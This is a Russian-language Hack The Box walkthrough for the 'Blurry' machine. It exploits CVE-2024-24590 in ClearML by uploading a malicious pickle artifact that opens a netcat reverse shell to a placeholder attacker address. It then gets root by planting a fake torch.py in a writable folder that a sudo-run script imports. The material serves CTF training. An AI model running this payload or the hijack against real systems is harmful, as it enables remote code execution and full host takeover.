Автор: @FaLLenSkiLL
Ссылка на тачку HTB:
https://app.hackthebox.com/machines/Blurry
Разведка
Сканируем открытые порты
Сразу добавляем запись в /etc/hosts
echo "10.10.11.19 app.blurry.htb" | sudo tee -a /etc/hosts
Заходим на сайт
Попадаем в панель ClearML
User flag
Если загуглить уязвимости на это приложение, можно сразу наткнуться на CVE-2024-24590. Её то мы и будем использовать
Для этого перейдем на страницу http://app.blurry.htb/settings/workspace-configuration
и создать новую конфигурацию
Не забываем добавлять новые поддомены в /etc/hosts
echo "10.10.11.19 api.blurry.htb" | sudo tee -a /etc/hosts
echo "10.10.11.19 files.blurry.htb" | sudo tee -a /etc/hosts
Потом копируем сгенерированную конфигурацию
И вставляем в запущенный локально clearml-init (его нужно будет предварительно установаить себе на тачку)
Если всё прошло успешно, можно переходить к эксплоиту
from clearml import Task
import pickle, os
class RunCommand:
def __reduce__(self):
return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc **IP** **PORT** >/tmp/f',))
command = RunCommand()
task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=["review"])
task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True, extension_name=".pkl")
Его достаточно просто запустить, он все сделает за вас. Не забудьте только поменять IP и включить прослушиватель
python3 exploit.py
Root flag
Первым делом прописываем sudo -l
Итак, мы можем запускать bash скрипт /usr/bin/evaluate_model с рут правами.
При детальном изучении скрипта становится понятно, что он использует для работы /models/evaluate_model, который первым делом импортирует модуль torch.py
Также обратим внимание на папку /models, в которой мы имеем права на запись и файлы которой также могут запускаться с root правами.
Понимаете к чему это я? Почему бы просто не подменить torch.py
echo 'import os; os.system("bash")' > /models/torch.py
sudo /usr/bin/evaluate_model /models/demo_model.pth
Сработало, мы root
Tags: